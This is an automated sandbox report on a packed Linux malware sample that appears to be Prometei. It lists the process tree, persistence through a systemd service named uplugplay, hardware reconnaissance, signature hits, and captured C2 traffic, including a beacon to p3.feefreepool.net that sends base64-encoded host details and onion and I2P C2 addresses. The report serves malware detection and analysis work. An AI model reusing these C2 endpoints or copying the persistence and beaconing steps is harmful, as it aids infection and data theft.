Edit tour

Linux Analysis Report
wH04DSYf6g

Overview

General Information

Sample Name:	wH04DSYf6g
Analysis ID:	559905
MD5:	7f24b753a82172370e9a74dc8b93b947
SHA1:	e493fe2adb307c188223f6d0a07dc0a4bd87ae13
SHA256:	5e86f91f275fbb9c9838125e6a00588328b7c856f757666bc887dff1e3e84b70
Tags:	64elf
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Found Tor onion address

Drops files in suspicious directories

Sample deletes itself

Sample is packed with UPX

Sample contains only a LOAD segment without any section mappings

Writes ELF files to disk

Reads CPU information from /sys indicative of miner or evasive malware

Yara signature match

Reads system information from the proc file system

Uses the "uname" system call to query kernel version information (possible evasion)

Executes the "uname" command used to read OS and architecture name

Enumerates processes within the "proc" file system

Executes the "systemctl" command used for controlling the systemd system and service manager

Sample listens on a socket

Deletes log files

Sample tries to set the executable flag

HTTP GET or POST without a user agent

Executes commands using a shell command-line interpreter

Reads CPU information from /proc indicative of miner or evasive malware

Executes the "pgrep" command search for and/or send signals to processes

Classification

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	559905
Start date:	26.01.2022
Start time:	00:30:06
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	wH04DSYf6g
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal64.evad.lin@0/58@2/0

Warnings

VT rate limit hit for: http://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi

Runtime Messages

Command:	/tmp/wH04DSYf6g
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Starting... System install...OK
Standard Error:	Created symlink /etc/systemd/system/multi-user.target.wants/uplugplay.service /lib/systemd/system/uplugplay.service.

Process Tree

system is lnxubuntu20

systemd New Fork (PID: 5195, Parent: 1)

logrotate (PID: 5195, Parent: 1, MD5: ff9f6831debb63e53a31ff8057143af6) Arguments: /usr/sbin/logrotate /etc/logrotate.conf

logrotate New Fork (PID: 5258, Parent: 5195)

gzip (PID: 5258, Parent: 5195, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 5259, Parent: 5195)

sh (PID: 5259, Parent: 5195, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "

sh New Fork (PID: 5260, Parent: 5259)

invoke-rc.d (PID: 5260, Parent: 5259, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: invoke-rc.d --quiet cups restart

invoke-rc.d New Fork (PID: 5261, Parent: 5260)

runlevel (PID: 5261, Parent: 5260, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: /sbin/runlevel

invoke-rc.d New Fork (PID: 5262, Parent: 5260)

systemctl (PID: 5262, Parent: 5260, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-enabled cups.service

invoke-rc.d New Fork (PID: 5264, Parent: 5260)

ls (PID: 5264, Parent: 5260, MD5: e7793f15c2ff7e747b4bc7079f5cd4f7) Arguments: ls /etc/rc[S2345].d/S[0-9][0-9]cups

invoke-rc.d New Fork (PID: 5266, Parent: 5260)

systemctl (PID: 5266, Parent: 5260, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active cups.service

logrotate New Fork (PID: 5267, Parent: 5195)

gzip (PID: 5267, Parent: 5195, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 5268, Parent: 5195)

sh (PID: 5268, Parent: 5195, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog

sh New Fork (PID: 5269, Parent: 5268)

rsyslog-rotate (PID: 5269, Parent: 5268, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/lib/rsyslog/rsyslog-rotate

rsyslog-rotate New Fork (PID: 5270, Parent: 5269)

systemctl (PID: 5270, Parent: 5269, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl kill -s HUP rsyslog.service

systemd New Fork (PID: 5196, Parent: 1)

install (PID: 5196, Parent: 1, MD5: 55e2520049dc6a62e8c94732e36cdd54) Arguments: /usr/bin/install -d -o man -g man -m 0755 /var/cache/man

systemd New Fork (PID: 5257, Parent: 1)

find (PID: 5257, Parent: 1, MD5: b68ef002f84cc54dd472238ba7df80ab) Arguments: /usr/bin/find /var/cache/man -type f -name *.gz -atime +6 -delete

systemd New Fork (PID: 5263, Parent: 1)

mandb (PID: 5263, Parent: 1, MD5: 1dda5ea0027ecf1c2db0f5a3de7e6941) Arguments: /usr/bin/mandb --quiet

wH04DSYf6g (PID: 5278, Parent: 5116, MD5: 7f24b753a82172370e9a74dc8b93b947) Arguments: /tmp/wH04DSYf6g

wH04DSYf6g New Fork (PID: 5281, Parent: 5278)

sh (PID: 5281, Parent: 5278, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pgrep wH04DSYf6g"

sh New Fork (PID: 5282, Parent: 5281)

pgrep (PID: 5282, Parent: 5281, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pgrep wH04DSYf6g

wH04DSYf6g New Fork (PID: 5286, Parent: 5278)

sh (PID: 5286, Parent: 5278, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pidof wH04DSYf6g"

sh New Fork (PID: 5287, Parent: 5286)

pidof (PID: 5287, Parent: 5286, MD5: f58f67968fc50f1497f9ea9e9c22b6e8) Arguments: pidof wH04DSYf6g

wH04DSYf6g New Fork (PID: 5290, Parent: 5278)

sh (PID: 5290, Parent: 5278, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pgrep uplugplay"

sh New Fork (PID: 5291, Parent: 5290)

pgrep (PID: 5291, Parent: 5290, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pgrep uplugplay

wH04DSYf6g New Fork (PID: 5294, Parent: 5278)

sh (PID: 5294, Parent: 5278, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pidof uplugplay"

sh New Fork (PID: 5295, Parent: 5294)

pidof (PID: 5295, Parent: 5294, MD5: f58f67968fc50f1497f9ea9e9c22b6e8) Arguments: pidof uplugplay

wH04DSYf6g New Fork (PID: 5298, Parent: 5278)

sh (PID: 5298, Parent: 5278, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pgrep upnpsetup"

sh New Fork (PID: 5299, Parent: 5298)

pgrep (PID: 5299, Parent: 5298, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pgrep upnpsetup

wH04DSYf6g New Fork (PID: 5304, Parent: 5278)

sh (PID: 5304, Parent: 5278, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pidof upnpsetup"

sh New Fork (PID: 5305, Parent: 5304)

pidof (PID: 5305, Parent: 5304, MD5: f58f67968fc50f1497f9ea9e9c22b6e8) Arguments: pidof upnpsetup

wH04DSYf6g New Fork (PID: 5306, Parent: 5278)

sh (PID: 5306, Parent: 5278, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl daemon-reload"

sh New Fork (PID: 5307, Parent: 5306)

systemctl (PID: 5307, Parent: 5306, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

wH04DSYf6g New Fork (PID: 5313, Parent: 5278)

sh (PID: 5313, Parent: 5278, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable uplugplay.service"

sh New Fork (PID: 5324, Parent: 5313)

systemctl (PID: 5324, Parent: 5313, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable uplugplay.service

wH04DSYf6g New Fork (PID: 5329, Parent: 5278)

sh (PID: 5329, Parent: 5278, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl start uplugplay.service"

sh New Fork (PID: 5330, Parent: 5329)

systemctl (PID: 5330, Parent: 5329, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start uplugplay.service

systemd New Fork (PID: 5311, Parent: 5310)

snapd-env-generator (PID: 5311, Parent: 5310, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 5327, Parent: 5326)

snapd-env-generator (PID: 5327, Parent: 5326, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 5334, Parent: 1)

uplugplay (PID: 5334, Parent: 1, MD5: 7f24b753a82172370e9a74dc8b93b947) Arguments: /usr/sbin/uplugplay

uplugplay New Fork (PID: 5344, Parent: 5334)

uplugplay New Fork (PID: 5345, Parent: 5344)

sh (PID: 5345, Parent: 5344, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "/usr/sbin/uplugplay -Dcomsvc"

sh New Fork (PID: 5346, Parent: 5345)

uplugplay (PID: 5346, Parent: 5345, MD5: 7f24b753a82172370e9a74dc8b93b947) Arguments: /usr/sbin/uplugplay -Dcomsvc

uplugplay New Fork (PID: 5402, Parent: 5346)

sh (PID: 5402, Parent: 5346, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cat /proc/cpuinfo"

sh New Fork (PID: 5405, Parent: 5402)

cat (PID: 5405, Parent: 5402, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /proc/cpuinfo

uplugplay New Fork (PID: 5408, Parent: 5346)

sh (PID: 5408, Parent: 5346, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "dmidecode --type baseboard"

sh New Fork (PID: 5409, Parent: 5408)

dmidecode (PID: 5409, Parent: 5408, MD5: 37284ba29446fb2dadf1ce80f8139c1a) Arguments: dmidecode --type baseboard

uplugplay New Fork (PID: 5412, Parent: 5346)

sh (PID: 5412, Parent: 5346, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "dmidecode --type baseboard"

sh New Fork (PID: 5413, Parent: 5412)

dmidecode (PID: 5413, Parent: 5412, MD5: 37284ba29446fb2dadf1ce80f8139c1a) Arguments: dmidecode --type baseboard

uplugplay New Fork (PID: 5416, Parent: 5346)

sh (PID: 5416, Parent: 5346, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "dmidecode --type baseboard"

sh New Fork (PID: 5417, Parent: 5416)

dmidecode (PID: 5417, Parent: 5416, MD5: 37284ba29446fb2dadf1ce80f8139c1a) Arguments: dmidecode --type baseboard

uplugplay New Fork (PID: 5420, Parent: 5346)

sh (PID: 5420, Parent: 5346, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "dmidecode --type baseboard"

sh New Fork (PID: 5421, Parent: 5420)

dmidecode (PID: 5421, Parent: 5420, MD5: 37284ba29446fb2dadf1ce80f8139c1a) Arguments: dmidecode --type baseboard

uplugplay New Fork (PID: 5424, Parent: 5346)

sh (PID: 5424, Parent: 5346, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "dmidecode --type baseboard"

sh New Fork (PID: 5425, Parent: 5424)

dmidecode (PID: 5425, Parent: 5424, MD5: 37284ba29446fb2dadf1ce80f8139c1a) Arguments: dmidecode --type baseboard

uplugplay New Fork (PID: 5428, Parent: 5346)

sh (PID: 5428, Parent: 5346, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "dmidecode --type baseboard"

sh New Fork (PID: 5429, Parent: 5428)

dmidecode (PID: 5429, Parent: 5428, MD5: 37284ba29446fb2dadf1ce80f8139c1a) Arguments: dmidecode --type baseboard

uplugplay New Fork (PID: 5432, Parent: 5346)

sh (PID: 5432, Parent: 5346, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c dmidecode

sh New Fork (PID: 5433, Parent: 5432)

dmidecode (PID: 5433, Parent: 5432, MD5: 37284ba29446fb2dadf1ce80f8139c1a) Arguments: dmidecode

uplugplay New Fork (PID: 5436, Parent: 5346)

sh (PID: 5436, Parent: 5346, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cat /etc/os-release"

sh New Fork (PID: 5437, Parent: 5436)

cat (PID: 5437, Parent: 5436, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /etc/os-release

uplugplay New Fork (PID: 5440, Parent: 5346)

sh (PID: 5440, Parent: 5346, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c uptime

sh New Fork (PID: 5441, Parent: 5440)

uptime (PID: 5441, Parent: 5440, MD5: 3ad70d8e33316ac713bf25c2ddf2fb14) Arguments: uptime

uplugplay New Fork (PID: 5446, Parent: 5346)

sh (PID: 5446, Parent: 5346, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "uname -a"

sh New Fork (PID: 5447, Parent: 5446)

uname (PID: 5447, Parent: 5446, MD5: 4ac7c634c5bec95753c480e9d421dcc2) Arguments: uname -a

cleanup

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
wH04DSYf6g	SUSP_ELF_LNX_UPX_Compressed_File	Detects a suspicious ELF binary with UPX compression	Florian Roth	0x671d0:$s1: PROT_EXEC\|PROT_WRITE failed. 0x6723f:$s2: $Id: UPX 0x671f0:$s3: $Info: This file is packed with the UPX executable packer

Dropped Files

Source	Rule	Description	Author	Strings
/usr/sbin/uplugplay	SUSP_ELF_LNX_UPX_Compressed_File	Detects a suspicious ELF binary with UPX compression	Florian Roth	0x671d0:$s1: PROT_EXEC\|PROT_WRITE failed. 0x6723f:$s2: $Id: UPX 0x671f0:$s3: $Info: This file is packed with the UPX executable packer

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: wH04DSYf6g	Virustotal: Detection: 18%			Perma Link
Source: wH04DSYf6g	ReversingLabs: Detection: 27%

Source: /usr/bin/pgrep (PID: 5282)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pgrep (PID: 5291)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5346)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/uptime (PID: 5441)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior

Source: /usr/bin/cat (PID: 5405)

Reads CPU info from proc file: /proc/cpuinfo

Jump to behavior

Networking

Found Tor onion address

Source: wH04DSYf6g, 5278.1.00000000a41ba199.00000000d55ef298.rw-.sdmp	String found in binary or memory: https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi
Source: wH04DSYf6g, 5278.1.00000000a41ba199.00000000d55ef298.rw-.sdmp	String found in binary or memory: Mhttp://p3.feefreepool.net/cgi-bin/prometei.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgihttp://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi/usr/sbin/uplugplay/etc/uplugplay/etc/CommIdcrashed.dump/usr/sbin//etc/msdtcmsdtc2msdtc3/etc/pcc0/etc/pcc1pbdebug

Source: /usr/sbin/uplugplay (PID: 5346)

Socket: 0.0.0.0::88

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /cgi-bin/prometei.cgi?r=16&i=3CL80UN6USPBIKPL HTTP/1.0Host: p3.feefreepool.net
Source: global traffic	HTTP traffic detected: GET /cgi-bin/prometei.cgi?add=aW5mbyB7DQp2My4wM0xfVW5peDY0QE04MVkwSTFJUThCM1IyWk5IDQpnYWxhc3NpYQ0KDQoyeCBJbnRlbChSKSBYZW9uKFIpIFNpbHZlciA0MjEwIENQVSBAIDIuMjBHSHoNCg0KDQoNCg0KDQpVYnVudHUgJiAyMC4wNC4yIExUUyAoRm9jYWwgRm9zc2EpIA0KDQovdXNyL3NiaW4vDQogMDA6MzI6MTAgdXAgOCBtaW4sICAxIHVzZXIsICBsb2FkIGF2ZXJhZ2U6IDEuMjUsIDEuMDAsIDAuNDQNCkxpbnV4IGdhbGFzc2lhIDUuNC4wLTcyLWdlbmVyaWMgIzgwLVVidW50dSBTTVAgTW9uIEFwciAxMiAxNzozNTowMCBVVEMgMjAyMSB4ODZfNjQgeDg2XzY0IHg4Nl82NCBHTlUvTGludXgNCn0NCg__&i=3CL80UN6USPBIKPL&h=galassia&enckey=IOSYHkwME8bi6/jLvuCPV/tfJqXRHQ9zLxQPHHa6U5VQJn9+vO5bHgxy2wkBcIlMEYPYySh48xKUf83lQqyO9rgI+4aerWWBy82LBbvq00Z/H6GUuGnw4aPYQCCQRKylyx4be3IDtu12gkpCqs+rSkT4GvcZrH96zUKPzeSznRE= HTTP/1.0Host: p3.feefreepool.net

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: wH04DSYf6g, 5278.1.00000000a41ba199.00000000d55ef298.rw-.sdmp	String found in binary or memory: http://dummy.zero/cgi-bin/prometei.cgi
Source: wH04DSYf6g, 5278.1.00000000a41ba199.00000000d55ef298.rw-.sdmp	String found in binary or memory: http://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi
Source: wH04DSYf6g, 5278.1.00000000a41ba199.00000000d55ef298.rw-.sdmp	String found in binary or memory: http://p3.feefreepool.net/cgi-bin/prometei.cgi
Source: wH04DSYf6g, 5278.1.00000000a41ba199.00000000d55ef298.rw-.sdmp	String found in binary or memory: http://p3.feefreepool.net/cgi-bin/prometei.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rg
Source: wH04DSYf6g, uplugplay.40.dr	String found in binary or memory: http://upx.sf.net
Source: wH04DSYf6g, 5278.1.00000000a41ba199.00000000d55ef298.rw-.sdmp	String found in binary or memory: https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi

Source: unknown

DNS traffic detected: queries for: p3.feefreepool.net

Source: global traffic	HTTP traffic detected: GET /cgi-bin/prometei.cgi?r=16&i=3CL80UN6USPBIKPL HTTP/1.0Host: p3.feefreepool.net
Source: global traffic	HTTP traffic detected: GET /cgi-bin/prometei.cgi?add=aW5mbyB7DQp2My4wM0xfVW5peDY0QE04MVkwSTFJUThCM1IyWk5IDQpnYWxhc3NpYQ0KDQoyeCBJbnRlbChSKSBYZW9uKFIpIFNpbHZlciA0MjEwIENQVSBAIDIuMjBHSHoNCg0KDQoNCg0KDQpVYnVudHUgJiAyMC4wNC4yIExUUyAoRm9jYWwgRm9zc2EpIA0KDQovdXNyL3NiaW4vDQogMDA6MzI6MTAgdXAgOCBtaW4sICAxIHVzZXIsICBsb2FkIGF2ZXJhZ2U6IDEuMjUsIDEuMDAsIDAuNDQNCkxpbnV4IGdhbGFzc2lhIDUuNC4wLTcyLWdlbmVyaWMgIzgwLVVidW50dSBTTVAgTW9uIEFwciAxMiAxNzozNTowMCBVVEMgMjAyMSB4ODZfNjQgeDg2XzY0IHg4Nl82NCBHTlUvTGludXgNCn0NCg__&i=3CL80UN6USPBIKPL&h=galassia&enckey=IOSYHkwME8bi6/jLvuCPV/tfJqXRHQ9zLxQPHHa6U5VQJn9+vO5bHgxy2wkBcIlMEYPYySh48xKUf83lQqyO9rgI+4aerWWBy82LBbvq00Z/H6GUuGnw4aPYQCCQRKylyx4be3IDtu12gkpCqs+rSkT4GvcZrH96zUKPzeSznRE= HTTP/1.0Host: p3.feefreepool.net

Source: LOAD without section mappings

Program segment: 0x400000

Source: wH04DSYf6g, type: SAMPLE	Matched rule: SUSP_ELF_LNX_UPX_Compressed_File date = 2018-12-12, author = Florian Roth, description = Detects a suspicious ELF binary with UPX compression, reference = Internal Research, score = 038ff8b2fef16f8ee9d70e6c219c5f380afe1a21761791e8cbda21fa4d09fdb4
Source: /usr/sbin/uplugplay, type: DROPPED	Matched rule: SUSP_ELF_LNX_UPX_Compressed_File date = 2018-12-12, author = Florian Roth, description = Detects a suspicious ELF binary with UPX compression, reference = Internal Research, score = 038ff8b2fef16f8ee9d70e6c219c5f380afe1a21761791e8cbda21fa4d09fdb4

Source: classification engine

Classification label: mal64.evad.lin@0/58@2/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $

Source: /tmp/wH04DSYf6g (PID: 5278)

File written: /usr/sbin/uplugplay

Jump to dropped file

Source: /usr/sbin/uplugplay (PID: 5346)	Reads from proc file: /proc/stat			Jump to behavior
Source: /usr/bin/cat (PID: 5405)	Reads from proc file: /proc/cpuinfo			Jump to behavior

Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/5147/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/5147/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1582/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/3088/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/230/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/230/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/110/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/110/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/231/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/231/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/111/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/111/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/232/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/232/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1579/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/112/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/112/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/233/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/233/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1699/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/113/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/113/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/234/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/234/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1335/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1698/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/114/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/114/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/235/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/235/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1334/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1576/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/2302/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/115/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/115/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/236/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/236/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/116/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/116/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/237/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/237/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/117/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/117/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/118/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/118/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/910/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/910/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/119/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/119/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/912/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/912/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/10/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/10/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/2307/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/11/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/11/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/918/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/918/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/12/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/12/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/5273/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/5273/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/13/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/13/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/14/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/14/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/15/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/15/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/5155/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/5155/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/16/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/16/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/17/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/17/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/18/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/18/cmdline	Jump to behavior
